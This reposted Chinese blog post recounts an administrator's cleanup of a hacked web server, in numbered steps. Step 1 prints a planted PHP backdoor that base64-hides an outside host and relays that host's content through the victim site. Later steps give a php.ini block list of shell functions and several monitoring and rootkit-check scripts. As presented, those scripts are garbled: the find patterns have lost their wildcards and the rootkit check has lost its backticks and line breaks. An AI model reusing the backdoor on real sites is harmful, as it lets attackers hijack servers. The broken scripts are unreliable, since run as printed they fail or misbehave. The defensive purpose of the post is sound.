码迷,mamicode.com
首页 > Web开发 > 详细

记一台web服务器被***处理过程

时间:2018-07-04 11:43:51      阅读:208      评论:0      收藏:0      [点我收藏+]

标签:--   message   ifconfig   htm   hack   str   fun   挂载   mit   

某天收到电信网监的邮件通知,内容是我们一个网站被***,有个链接显示“×××”信息。命令立即修复。
解决过程:
1、查看服务器,发现服务器根目录下多出show1.php,show2,php.info.php三个文件,内容相同。内容如下:
<?php
set_time_limit(0);
$url1 = $_SERVER[‘PHP_SELF‘];
$name= substr($url1 ,strrpos($url1 ,‘/‘)+1 );
chmod($name,0444);
header("Content-Type: text/html;charset=gb2312");
date_default_timezone_set(‘PRC‘);
$a = base64_decode("aHR0cDovL2Jhb2x1by5zaGFuemhpNjY2LmNuLw==");
$b = base64_decode("aHR0cDovLw==") . $_SERVER[‘HTTP_HOST‘] . $_SERVER[‘PHP_SELF‘];
$c = file_get_contents($a . base64_decode("L2luZGV4LnBocD9ob3N0PQ==") . $b . "&url=" . $_SERVER[‘QUERY_STRING‘] . "&domain=" . $_SERVER[‘SERVER_NAME‘]);
echo $c;
?>
根据开发人员的分析,结果是:×××会通过传参的方式,显示想要的内容。

2、把文件移动到/opt/hacker目录下。
3、把ningx中不必要的配置信息注释掉,重启。
4、在pf上注释不必要的端口开发。重启pf
5、注释haproxy不必要的服务。
6、编写sh脚本,监控web root目录/data/www/wdl目录下,所有新增文件,都删除。排除几个目录:
#!/bin/bash
while true
do
find /data/www/wdl/ -maxdepth 1 -mtime -1 -name "">>/opt/webmon.log
find /data/www/wdl/ -maxdepth 1 -mtime -1 -name "
."|xargs rm -f
find /data/www/wdl/module_api/ -mtime -1 -name "
.">>/opt/webmon.log
find /data/www/wdl/module_api/ -mtime -1 -name "
."|xargs rm -f
find /data/www/wdl/image/ -mtime -1 -name "
.">>/opt/webmon.log
find /data/www/wdl/image/ -mtime -1 -name "
."|xargs rm -f
find /data/www/wdl/static/ -mtime -1 -name "
.">>/opt/webmon.log
find /data/www/wdl/static/ -mtime -1 -name "
."|xargs rm -f
find /data/www/wdl/lang/ -mtime -1 -name "
.">>/opt/webmon.log
find /data/www/wdl/lang/ -mtime -1 -name "
."|xargs rm -f
find /data/www/wdl/api/ -mtime -1 -name "
.">>/opt/webmon.log
find /data/www/wdl/api/ -mtime -1 -name "
."|xargs rm -f
find /data/www/wdl/includes/ -mtime -1 -name "
.">>/opt/webmon.log
find /data/www/wdl/includes/ -mtime -1 -name "
."|xargs rm -f
find /data/www/wdl/pay/ -mtime -1 -name "
.">>/opt/webmon.log
find /data/www/wdl/pay/ -mtime -1 -name "
."|xargs rm -f
find /data/www/wdl/script/ -mtime -1 -name "
.">>/opt/webmon.log
find /data/www/wdl/script/ -mtime -1 -name "
."|xargs rm -f
find /data/www/wdl/uc_client/ -mtime -1 -name "
.">>/opt/webmon.log
find /data/www/wdl/uc_client/ -mtime -1 -name "
."|xargs rm -f
find /data/www/wdl/module/ -mtime -1 -name "
.">>/opt/webmon.log
find /data/www/wdl/module/ -mtime -1 -name "
."|xargs rm -f
find /data/www/wdl/lib/ -mtime -1 -name "
.">>/opt/webmon.log
find /data/www/wdl/lib/ -mtime -1 -name "
."|xargs rm -f
find /data/www/wdl/log/ -mtime -1 -name "
.">>/opt/webmon.log
find /data/www/wdl/log/ -mtime -1 -name "
."|xargs rm -f
find /data/www/wdl/dlq9J15DshW5f/ -mtime -1 -name "
.">>/opt/webmon.log
find /data/www/wdl/dlq9J15DshW5f/ -mtime -1 -name "
.*"|xargs rm -f
sleep 10
done

7、调整php.ini的disable_functions:
disable_functions = touch,chmod,pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority, eval, popen, passthru, exec, system, shell_exec, proc_open, proc_get_status, chroot, chgrp, chown, ini_alter, ini_restore, dl, pfsockopen, openlog, syslog, readlink, symlink, popepassthru, stream_socket_server, fsocket, chdir

8、查看ps中的进程和proc进比较:
#!/bin/bash
str_pids="ps -A | awk ‘{print $1}‘"
for i in /proc/[[:digit:]]*; do
if echo "$str_pids" | grep -qs basename "$i"; then :else echo "Rootkit‘s PID: $(basename "$i")" fi done
没有发现异常。
9、下载rkhunter工具检查系统健康
发现很多系统命令和配置文件都被修改了。幸亏有一台web服务器没有挂载在线上,目前还是可以用的。所以,把被***的服务器都下线,没有在线上的服务器克隆了两台生成新web服务器,目前只有一台在线上服务。
10、编写脚本,实时监控rkhunter工具监控结果。
#!/bin/bash
while true
do
rkhunter -c -sk --nocolor >/opt/check.log
if [ cat check.log |grep ifconfig|awk ‘{print $3}‘ == ‘OK‘ ]
then
echo good
else
/usr/bin/python /opt/sendsms.py ‘dangerous for rkhhunter‘
echo ‘dangerous for rkhunter‘>>/var/log/messages
fi
if [ ! -s webmon.log ]
then
echo good
else
/usr/bin/python /opt/sendsms.py ‘dangerous for webmon.log‘
echo ‘dangerous for webmon.log‘>>/var/log/messages
fi
sleep 200
done
目标是:发现问题后,立刻短信报警。sendsms.py是我写的短信报警脚本。

记一台web服务器被***处理过程

标签:--   message   ifconfig   htm   hack   str   fun   挂载   mit   

原文地址:http://blog.51cto.com/swenzhao/2135873

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!